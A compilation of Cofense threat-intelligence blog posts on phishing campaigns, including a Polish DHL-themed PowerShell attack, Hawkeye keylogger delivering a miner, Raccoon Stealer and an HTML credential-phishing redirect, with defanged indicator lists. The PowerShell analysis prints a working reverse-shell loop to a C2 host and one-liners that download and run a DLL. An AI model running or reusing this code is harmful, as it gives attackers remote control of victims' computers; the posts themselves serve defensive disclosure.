hXXp://yourdirectory[.]website/Mccracken/eTrac/rpiglgay-1418052884-1524951880-uuys-0fxj/

hXXps://bipinvideolab[.]com/wp-admin/51917864823222027/b0n0hcp4sl83/

hXXps://crossworldltd[.]com/wp-includes/48p5-o3ih-71/

hXXps://flexwebsolution[.]com/assets/multifunctional_disk/external_forum/7aa8z9os32iqygd_3gp4h/

hXXps://gurukool[.]tech/assets/t85vawx7s2xbi3q-1mvazihmr-module/interior-forum/gEwMX8-s0pLx8jJMLhGN/

hXXps://keshavalur[.]com/css/WRssOm/

hXXps://makmursuksesmandiri[.]com/wp-content/e3tpt3cph1wncut-ika4etq8sml6-sector/interior-htMCj-UR5CVYGd/bnb5oaopu0ptx-0wyytzw7u5/

hXXps://misterglobe[.]org/generall/Overview/i9y202-334800485-67760472-jj04w2e19-xppp1/

hXXps://mountainstory[.]pk/qoaij52hfs1d/common_FOQqDSi_Q50ORC3MzecY/guarded_9ode8j8xa3q9fa_3a14tqqj/x1e_418t92/

hXXps://murraysautoworks[.]com/contact/6VE37Q01O/50v2q5af8tv/y27daizl9-678276-439755027-2i7xojwpjd-ryyu/

hXXps://nhakhoachoban[.]vn/wp-includes/paclm/

hXXps://power-charger[.]co[.]uk/faq/Reporting/g30g4b8wvh/0w5c-2857976-135390-1dg1e-bjus2/

hXXps://risefoundations[.]in/rise/8448397_cee81q_jftx3_eseQqSx/corporate_pfmWWf_7uk8kfJTJvUrTR/OvdwZPUQy_ntycKI1ipM2/

hXXps://sharefoundation[.]in/wp-admin/multifunctional_module/test_cloud/oJuKHM3ik_Mee0ttbGc/

hXXps://summit2018[.]techsauce[.]co/startup/sYHAteT/

hXXps://timestampindia[.]com/citech/Document/

hXXps://twincitiesfrugalmom[.]com/wp-admin/eTrac/9porgmi/ul99a0-5568735694-75056-vt6wk395a-yymz6f/

hXXps://www[.]jadegardenmm[.]com/engl/docs/h85me2-45331562-6525577-0c62dwu3hl-mk47l/

hXXps://www[.]u4web[.]com/bnkddo/open_disk/guarded_kzfciuyy_v4gqdp/1dOq8z5_ILk0gJmw/

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.

By Tonia Dudley

The advent of the modern-day shopping mall was in the mid-1950’s and it continued to rise in popularity as the go-to place for shopping in the decades thereafter. Watching the hit series Stranger Things is a great reminder of the mall experience, but how times have changed with the introduction and boom of the internet. Retailers shifted their approach to stay relevant in the online era by standing up websites to accompany their brick & mortar locations.

Today we see retail outlets that exist solely in the web sphere – without any type of building. They are prime targets not only for consumer fraud but also cyber-attacks on retail data and reputations. The online marketplace excels in delivering goods quickly to the “I need to have it now” buyer. Threat actors excel too. They are masters at leveraging this urgency, as well as today’s delivery methods, to lure shoppers into scams.

And consumers aren’t the only targets. Attackers go after employees at retail organizations with phishing emails designed to steal customer data and create a PR nightmare. When this happens, consumers naturally think twice about buying again.

83% of consumers are concerned about purchasing from a company that was previously breached.

60% of POS compromises started with a phishing attack.

Source: 2019 Generali Global Assistance Cyber & Digital Protection Survey

What does this all mean when it comes to the phishing threat landscape? Consumers generally require a username and password to place an order on most websites. Based on threat intelligence from our research teams here at Cofense™, we know that threat actors primarily craft emails designed to steal credentials, both from consumers to gain access to online accounts and from retail employees to gain a foothold in an organization and compromise further. This is why it is critical for retail organizations to ensure their support staff have been trained to identify and report phishing attempts to gain access to their credentials.

29% of all breaches involve stolen credentials.

Source: 2019 Verizon Data Breach Investigations Report

Cofense partnered with the Retail ISAC this past summer to conduct a benchmark study. Participants ranged from small to large organizations. It is clear that organizations with an easy reporting method – a button within the mail client – are more resilient to defending against a phishing threat.

Figure 1: Susceptibility and resiliency rates for manual reporting vs. email button-based reporting, average

Figure 2: Susceptibility and resiliency rates for reporting by user group size

Retail organizations are no different than other industries – to effectively defend against phishing attacks, they need visibility of attacks that have bypassed existing controls. It takes more than a Secure Email Gateway and phishing Computer Based Training to enable Security Teams to respond quickly and reduce the risk of compromise or data breach. Cofense is uniquely positioned to help retail organizations unite to fight phishing through our comprehensive phishing defense portfolio.

To learn more about retail phishing attacks and how Cofense can help, view our new infographic.

 

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.

PowerShell Scripts Delivered Via Office Macro Attachments Target Polish Employees

By Max Gannon

Cofense IntelligenceTM has uncovered an advanced phishing campaign targeting Polish employees that delivers PowerShell scripts, designed to evade detection by security technologies and give threat actors remote control of the infected computer. The Polish language emails in this campaign impersonate DHL, using misleading content and a spoofed sender email address. The attachment contains a Microsoft (MS) Office macro that checks the language of the installed Office program and only proceeds if it is in Polish language. A PowerShell script is downloaded that, in turn, downloads a set of additional PowerShell scripts, enabling the threat actor to seize control of the computer remotely.

Figure 1: Original Email

The attached .xls file contains a macro that prompts the “Enable Content” message as well as displaying a button to “print” a receipt, likely intended to lend an air of legitimacy and provide a further reason to enable macros.

Figure 2: Attached Spreadsheet Content

This button does not appear to work even if macros are enabled. Once enabled, the macro checks to see if the language of the installed Office product is Polish. If it is not, the file closes and opens a new blank workbook. If the installed Office product language is Polish, a .vbe script is downloaded. This script then runs and repeatedly requests a new payload from the same location (mantoropols[.]xyz) and processes each response as a separate PowerShell script. It also attempts to disguise its traffic by performing multiple HTTP POSTs to google.com. The POST parameters that retrieve the PowerShell scripts appear to have identifying information about the local computer. However all of the variables are pre-set when the script runs, and only the ID value is unique.

Figure 3: POST Data from Office macro

Each session with the Command & Control (C2) server begins with a request for information about the local computer using direct PowerShell commands and a mix of consistently placed garbage string. By retrieving these commands through the C2 channel rather than using a locally saved list of possible commands, threat actors make it harder for defenders to know the full suite of options and capabilities available to the threat actors. By collecting the information via PowerShell queries, the threat actors also make it easier to detect virtual environments, as the information retrieved by PowerShell is harder to spoof than the data typically disguised by reverse engineers.

The requested information is:

  • Processor ID (Serial Number)
  • Full Operating System Version
  • Computer name
  • Username
  • Computer “model” (detects VMWare)
  • Computer “manufacturer” (detects VMWare)
  • System language
  • Processor architecture (x86 or x64)
  • PowerShell version
  • Total Physical memory (detects VMWare)
  • IP address
  • Current working directory
  • Current date
  • Installation date (detects VMWare)
  • Graphics card (detects some virtual environments)

The image in Figure 4 is an example of the repeated exchange. Each line beginning with “try” is sent from the server, and the following indented line is sent from the infected computer.

Figure 4: Data Exfiltration

Next, there are three (or more) separate scripts. Script 1 checks anti-virus and sets persistence via an encoded registry entry and a startup shortcut that often changes based on new commands.

Figure 5: Creation of LNK Used For Persistence And Decoded Content

The URL payload in the registry is called “finalPayload” in the conversations with the C2, providing some insight into the extent of the PowerShell script controlling the threat actor’s involvement in the infection process. In a similar manner, the threat actor names the section of the script that creates the LNK file as “lnkl”. This labeling is seen at the end of each conversation which the server ends by sending a label such as “lnkl” to the host. The host then responds with that same label.

The payload downloaded by the LNK persistence mechanism is yet another script that initiates a persistent connection to the C2 and then waits for commands.

$test = 0;
while ($true)  {
  try {
    $ErrorActionPreference = "SilentlyContinue";
    $GoYsd803308 = New - Object Net.Sockets.TCPClient("chtroppsoj[.]info", 80);
    $LbkfB457364 = ($GoYsd803308.GetStream());
    [byte[]]$dCrY874 = 0..500|% {
      0
    };
    while (($lxQIfq175383 = $LbkfB457364.Read($dCrY874, 0, $dCrY874.Length))  - ne 0)  {
      $zGNk383 = (New - Object Text.ASCIIEncoding).GetString($dCrY874, 0, $lxQIfq175383);
      $kpqm758 = ([text.encoding]::ASCII).GetBytes((iex $zGNk383 2 > &1));
      $LbkfB457364.Write($kpqm758, 0, $kpqm758.Length);
      $LbkfB457364.Flush()
    }
   } catch {
    Start - Sleep  - s 15;
    if ($GoYsd803308.Connected)  {
        $GoYsd803308.Close();
   }
  }
}

 

Once this persistence mechanism has been established, the next stage is most often the download of additional malware such as Ursnif. This next script is labeled by the threat actor as “downdll” and as its name implies, only downloads a .dll without executing anything.

"downdll"; $XwmpW = New-Object System.Net.WebClient; $XwmpW.Headers["User-Agent"] = "";  $XwmpW.DownloadFile("hXXps://arethatour[.]icu/372873/corpo1.dll", "$env:APPDATA\Sg.dll");

The following script is labeled “rundll”. Unsurprisingly, this runs the .dll downloaded by the previous script.

"rundll"; Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList "$env:APPDATA\Sg.dll,DllRegisterServer"

Once this command is executed and the client responds with the appropriate “rundll”, the cycle begins again.

By using deceptively simple commands and minimal code, threat actors can perform data exfiltration and payload downloading while maintaining a relatively small footprint. The small script and reliance on executing code either in memory or using data from a registry entry enables threat actors to leave only the .lnk file used for persistence on infected computers. As a result, the threat actors involved in this infection represent a threat to enterprises that do not block PowerShell execution or do not log executed scripts. What makes this threat even more concerning is that although the current process appears to be automated, it would require relatively little effort on the part of the threat actor to manually engage with infected computers.

Description Indicator
PowerShell Reconnaissance Tool Payload and C2s hXXps://chtroppsoj[.]info:443/debug/download/s/rKD
hXXps://gillslodss[.]info:443/debug/download/s/Gpf
hXXps://chtroppsoj[.]info:443/debug/download/s/DoFH
hXXps://seioodsoi[.]club:443/chkesosod/downs/VhQWr
hXXps://chtroppsoj[.]info:443/debug/download/s/ydFFLg
hXXps://arethatour[.]icu/372873/corpo1.dll
hXXps://chtroppsoj[.]info:443/debug/download/s/QqTlFT
chtroppsoj[.]info
Visual Basic Script Payload hXXps://mantoropols[.]xyz/
Visual Basic Script File printhpp.vbe
712754776baf025993b16846b97a331b
Office Macro Payload hXXps://reloffersstart[.]co/ss[.]php?
Office Macro Files 20889194950.xls
c53b7ebf5e5459727d80b485d1a964e8
24759494620.xls
ef4b91920f1567cc8f6bece2bcd4e010
28301710180.xls
ab515665320573a21155a6abeb2d54a3

Table 1: PowerShell Reconnaissance Tool Payload and Command and Control (C2) Locations

How Cofense Can Help:

100% of malware-bearing phishing threats analyzed by the Cofense Phishing Defense Center were reported by end users and bypassed technical controls that were in place to protect them.

Cofense PhishMe offers a simulation template, “Return Shipment – Polish,” to educate users on the phishing tactic described in this blog. Condition users to be resilient to evolving phishing attacks with Cofense PhishMe and remove the blind spot with Cofense Reporter.

Easily consume phishing-specific threat intelligence to proactively defend your organization against evolving threats with Cofense Intelligence. Cofense Intelligence customers received further information about this threat in Active Threat Report (ATR) 32814.

Quickly turn user reported emails into actionable intelligence with Cofense Triage and reduce exposure time by rapidly quarantining threats with Cofense Vision.

Thanks to our unique perspective, no one knows more about REAL phishing threats than Cofense. To understand them better, read the 2019 Phishing Threat & Malware Review.

Coming Soon: Phish Fryday

Phishing threats are constantly changing, as attackers try to bypass security controls and reach your users’ inboxes. SOC teams have to analyze and respond to a flood of suspicious email reports and keeping up with the latest threats is a challenge – there just isn’t enough time in the day! But Phish Fryday is here to help.

Each week, Phish Fryday, hosted by Steven Cardinal, will bring you expert interviews covering the latest phishing threats – how they work and how to defend against them. We’ll also give you a glimpse into our threat analysis techniques so that you can better analyze the threats you see and defend your organization.

Intelligent Phishing Defense isn’t just one person’s job. It takes all of us, which is why Cofense is Uniting Humanity Against Phishing.

We love feedback, questions, or comments, so send us an email at phishfryday@cofense.com

This Advanced Keylogger Delivers a Cryptocurrency Miner

By Aaron Riley

In a new twist, a phishing campaign is delivering the advanced Hawkeye Keylogger malware to act as a first stage loader for a cryptocurrency miner. Hawkeye Keylogger – Reborn V9 was attached to a job application attachment themed phishing email. Once executed, Hawkeye then downloaded and ran a sample of the open-source software CGMiner. The CGMiner sample was an older version and configured for the cryptocurrency Litecoin. This is the first instance in which Cofense Intelligence™ has analyzed a keylogger being used as merely a first stage loader to deploy a crypto-miner.

The job application attachment theme used in this phishing campaign was generic and did not target a specific business department or job opening. As seen in Figure 1, the email is short and plain; however, the email source code showed a configuration that can be used for alerts. The email’s character set was configured for “Windows-1251,” which is used to support Cyrillic languages. Considering the business use of Cyrillic languages, this configuration can be used for alerting within the email security stack. The email had a .zip archive attachment that delivered a sample of Hawkeye Keylogger – Reborn V9.

Figure 1: Compromised email address delivering malicious ZIP attachment under guise of a CV

Hawkeye Keylogger is subscription-based and has been sold on forums since 2013. It has gone through many version updates and has even changed development ownership in the past. This advanced keylogger can be used to monitor systems, gather sensitive information from the machine, and exfiltrate the information to the Command and Control (C2) structure in multiple ways. The developer’s advertisement does not tout it as a first stage downloader. The threat operator behind this campaign utilized the file installation feature—typically used for setting persistence on the infected machine—to download and execute the sample of CGMiner. After the download and execution of the secondary payload, Hawkeye Keylogger stalled in its processes and did not attempt any further action.

CGMiner is an open-source cryptocurrency miner that can be executed across all operating systems. Older CGMiner versions can be configured to mine multiple different types of cryptocurrency and are designed to work with most AMD graphics cards. This sample of CGMiner is version 3.5, which is an older version that still supports CPU/GPU mining. This miner sample uses the Stratum protocol over TCP port 3333 and is configured to mine Litecoin. Newer versions of CGMiner do not support CPU/GPU mining and only provide algorithms for the Bitcoin cryptocurrency. CGMiner can be easily spotted when analyzed in a sandbox environment. The same is true of the Stratum protocol, which can be used as an alert for network activity.

Cryptocurrency miners have been seen in phishing campaigns before, but rarely are they ever used as a second stage infection from an advanced keylogger. This version of CGMiner was deliberately selected for the CPU/GPU mining feature for Litecoin mining. The infection chain showed places where the email and network security stack should have acted. Setting these alerts, tuning the technology, and educating end users is the best way to avoid these phishing campaigns.

Table 1: Indicators of Compromise

Description Indicator
Hawkeye Keylogger Within Attachment Redacted_RESUME_Sep.exe a381ba89d294f120dd76a684bda24276
Email Attachment Redacted_RESUME_Sep.zip
3866532d537df4795d88f97c38c1c25a
CGMiner functionupdate.exe
4a7d5d67ce8e6a890f4a272be3f782bd
Payload URL hxxp://165[.]22[.]50[.]215/functionupdate[.]exe
Litecoin Mining Connection stratum+tcp://us[.]litecoinpool[.]org:3333

 

 

HOW COFENSE CAN HELP

Cofense PhishMeTM offers simulation templates to educate users on phishing tactics similar to those described in today’s blog.

  • Job Application – Office Macro / Hermes Ransomware
  • Job Inquiry – Cerber (Attachment)
  • Response to Job Posting
  • Resume Attached
  • CV Attached – Petya

Cofense Intelligence TM: ATR ID 32403

Cofense Triage TM: PM_Intel_GCMiner_32403

Every day, the Cofense Phishing Defense CenterTM analyzes phishing emails with malware payloads that bypassed email gateways. 100% of the threats found by the Cofense PDC were identified by the end user. 0% were stopped by technology.

Condition users to be resilient to evolving phishing attacks with Cofense PhishMe TM and remove the blind spot with Cofense Reporter TM.

Quickly turn user reported emails into actionable intelligence with Cofense Triage TM. Reduce exposure time by rapidly quarantining threats with Cofense Vision TM.

Easily consume phishing-specific threat intelligence to proactively defend your organization against evolving threats with Cofense Intelligence TM.

 

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.

Bundle Up and Build an End-to-End Phishing Defense

By David Mount, Product Marketing

Back in 2008, CofenseTM (then PhishMe®) pioneered the concept of phishing simulation as a tool to reduce organizational risk to phishing threats. Since then, the phishing threat landscape has evolved at a rapid pace, as evidenced in many of the posts on this blog. Back then, traditional approaches to Security Awareness didn’t (and still don’t) demonstrably and measurably improve security posture, especially relating to phishing threats. And, as we’ve mentioned before (and we highlight in this blog), every threat identified by the Cofense Phishing Defense CenterTM has bypassed the technical controls like Secure Email Gateways that were out in place to protect the end user.

It’s Time to Shift Your Focus

If traditional approaches to phishing defense aren’t working, then what can we do?

Like many areas of cybersecurity, we need to shift our focus. We need to stop believing that the optimal approach is to stop all the bad stuff from breaching our defenses. Rather, we have to accept that stuff is going to get through, so we need greater focus on our ability to detect and respond to the threats that are inside our networks, including the phish lurking inside our user inboxes.

Now, I’m not saying that we ignore our defensive controls – absolutely not. However, we must optimize them. We need to understand the threat landscape to be able to effectively defend and ensure that we’re blocking as much known bad as possible. Consumption of phishing-specific threat intelligence enables us to do this and so much more. By understanding the phishing threat landscape, including current campaigns and emerging trends, we can fine tune our controls and refine awareness programs so that they’re focused on the right threats, at the right time.

But no control is 100% effective, and when technology fails and a phishing threat is delivered to the inbox, the only sensor you have in the environment that can alert you to it is the users themselves – but you must enable and empower them to do this. Here, phishing simulation earns its stripes. Rather than using phishing simulation to ‘test’ your users, use it to keep the risks of phishing front and center and condition them to recognize evolving phishing threats. But don’t stop there. Don’t get hung up on click rates on your simulations. Instead focus on reporting rates – a far more valuable indicator of behavioral change and improvement in defensive posture. When you encourage your users to report in simulations, they’re rehearsing the behavior that’s needed in a real attack situation.

When that attack happens (and it is a when, not an if), security teams need to be able to turn the emails reported by users into actionable intelligence – fast. They need to cut through the noise of spam and other non-malicious emails to find the bad stuff quickly. And when bad is found, the clock is ticking. The longer it takes security teams to take decisive action like searching for all users who have received the threat, and removing it from all inboxes, the greater the chance of significant compromise or data breach.

We’ve Got a Bundled Solution for You

Intelligent phishing defense is a fusion of the human with technology, and it shouldn’t be complicated. We’ve made it easier to for organizations to obtain essential phishing defense capabilities through our solution bundles.

Depending upon your specific needs, choose a bundle from the following flavors:

Awareness, Detection, Defense, Defense with Threat Intelligence, and Managed Phishing Defense. For more information, you can check out our solutions bundles here. You can also review pricing and a breakdown of capabilities included in each bundle.

 

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.

Raccoon Stealer Found Rummaging Past Symantec and Microsoft Gateways

By Max Gannon and Alan Rainer, Cofense IntelligenceTM

Threat actors continue to exploit legitimate services to trick users, as seen in the latest campaign using Raccoon Stealer malware, aimed at a financial organization and delivered by a Dropbox-hosted .IMG file. A rather unsophisticated malware, Raccoon Stealer came to light around April 2019, bypassing Symantec Email Security and Microsoft EOP gateways. The malware is sold on underground forums in both Russian and English, features an easy-to-use interface, around-the-clock customer support, and highly active development. Users of the malware can distribute it in any way they deem fit. In this campaign, the actors chose to host the malicious .IMG file on a Dropbox share, which upon execution, drops Raccoon Stealer onto the victim machine.

The email used in this campaign was delivered to the inbox of an employee of a financial institution. Figure 1 shows the email signature and originator address which probably belong to a compromised user. Using the familiar theme of a wire transfer—closely akin to those often seen in Business Email Compromise (BEC) scams—the threat actors look to trick users into opening the Dropbox URL and downloading the malicious file.

Educating users on spotting these types of scams and carefully scrutinizing emails that originate outside the organization are great ways to thwart this threat. Cofense IntelligenceTM Indicators of Compromise (IOCs) provided via our feed and noted in the appendix below can be used to fortify network defense and endpoint protection solutions.

Technical Findings

In the past, CofenseTM has seen Raccoon Stealer delivered by direct attachments and via RTF documents leveraging CVE-2017-8570 that targeted sectors such as utilities. In this most recent campaign, a potentially compromised email account was used to send the email shown in Figure 1, which managed to make its way past Symantec Email Security and Microsoft EOP gateways without the URL being removed or tampered with to the extent that it would prevent victims from clicking on it and downloading the payload.

Figure 1: Email delivering Dropbox URL

Raccoon Stealer is a relatively new malware that first appeared on the market around April 2019. Due to Raccoon Stealer’s ease of use and range of capabilities that allow for quick monetization of infected users, it is becoming increasingly popular. Although not particularly advanced or subtle with its network activity and processes, the malware can quickly gather and exfiltrate data as well as download additional payloads.

Initial contact with the command and control center (C2) is made when the malware does an HTTP POST that includes the “bot ID” and “configuration ID”. The C2 location responds with a JSON object explicitly including C2 data and payload locations for libraries and additional files, as shown in Figure 2.

Figure 2: Configuration Data From C2

The payload URLs currently deliver a set of DLLs, as specified by the “attachment url” and “libraries” parameters, but future development could easily allow threat actors to use Racoon Stealer as a loader for other malware to generate additional income.

The use of several distinct delivery methods in a relatively short time, including via the Fallout Exploit Kit, may indicate increased usage by numerous threat actors as predicted in prior Cofense research. Given the variety of delivery options, Racoon Stealer could be a problem for organizations that focus too much on one infection vector.

Table 1: Indicators of Compromise

Description

Indicator

Dropbox URL

hXXp://www[.]dropbox[.]com/s/g6pz8dm4051rs0o/SCAN%20DOC[.]IMG?dl=1

Raccoon Stealer C2 Locations

34[.]89[.]185[.]248

hXXp://34[.]89[.]185[.]248/file_handler/file[.]php hXXp://34[.]89[.]185[.]248/gate/libs[.]zip hXXp://34[.]89[.]185[.]248/gate/log[.]php hXXp://34[.]89[.]185[.]248/gate/sqlite3[.]dll

Raccoon Stealer Hashes

SCAN DOC.exe             f7bcb18e5814db9fd51d0ab05f2d7ee9

SCAN DOC.IMG            0c8158e2a4267eea51e12b6890e68da8

HOW COFENSE CAN HELP

Cofense PhishMeTM Offers a simulation template, “Dropbox Wire Transfer – Raccoon Stealer,” to educate users on the phishing tactic described in today’s blog.

Cofense IntelligenceTM: ATR IDs 32407, 31881, 31977

Cofense TriageTM: PM_Intel_Raccoon_31881, PM_Intel_Raccoon_31977

100% of malware-bearing phishing threats analyzed by the Cofense Phishing Defense CenterTM were reported by end users. 0% were stopped by technology. Condition users to be resilient to evolving phishing attacks with Cofense PhishMeTM and remove the blind spot with Cofense ReporterTM.

Quickly turn user reported emails into actionable intelligence with Cofense TriageTM. Reduce exposure time by rapidly quarantining threats with Cofense VisionTM.

Easily consume phishing-specific threat intelligence to proactively defend your organization against evolving threats with Cofense Intelligence TM.

Thanks to our unique perspective, no one knows more about REAL phishing threats than Cofense. To understand them better, read the 2019 Phishing Threat & Malware Review.

 

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.

Threat Actors Use Bogus Payment HTML File to Scoot Past Proofpoint Gateway

By Tej Tulachan

The Cofense Phishing Defense CenterTM (PDC) has prevented a phishing attack that attempts to steal users’ Office365 credentials by luring them with a fake payment order attachment. Hiding a malicious re-direct within a html file, threat actors bypassed the Proofpoint secure email gateway to try and steal users’ credentials.

Here’s how it works:

At first glance, the email appears to be a genuine communication originating from the accounts team of a relatively well-known company. The message body informs the recipient there is a payment order that requires processing. The message simply says, “Please find attached copies of our P.O#9000, dated 05/11/2019,” with the attachment to the email as a html file labelled “P.O#9000.” The email doesn’t specifically ask the user to open the attachment, however it does instruct the user to acknowledge receipt of the email. Any vigilant accountant would be inclined to check the contents of the bill as part of their workflow or processing procedures.

Malicious Attachment

If we take a deeper look into the source code of the html file, we can see that it only contains three lines of html code. The code takes advantage of the http-equiv attribute, used to trigger a page refresh of the user’s web browser and then load new content, which in this case is a URL to a phishing page. This happens almost instantly when the user opens the attachment.

Fig 2: Malicious URL

Phishing Page

Once the attachment is opened the user is redirected to the phishing page as seen below in fig.3. The malicious page attempts to disguise itself as a genuine Microsoft Online Excel document, which most users would expect to see if they are editing documents on SharePoint. In the background we can see a blurred-out Excel spreadsheet with an authentication box obscuring the file contents. The user’s email address is auto populated in the dialog box, which asks the user to authenticate with his or her password.

Fig 3: Phishing Page

75% of threats reported to the Cofense Phishing Defense Center are credential phish. Protect the keys to your kingdom—condition end users to be resilient to credential harvesting attacks with Cofense PhishMeTM.

Over 91% of credential harvesting attacks bypassed secure email gateways. Remove the blind spot—get visibility of attacks with Cofense ReporterTM.

Quickly turn user-reported emails into actionable intelligence with Cofense TriageTM. Reduce exposure time by rapidly quarantining threats with Cofense VisionTM.

Attackers do their research. Every SaaS platform you use is an opportunity for attackers to exploit it. Understand what SaaS applications are configured for your domains—do YOUR research with Cofense CloudSeekerTM.

Thanks to our unique perspective, no one knows more about the REAL phishing threats than CofenseTM. To understand them better, read the 2019 Phishing Threat & Malware Review.

 

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.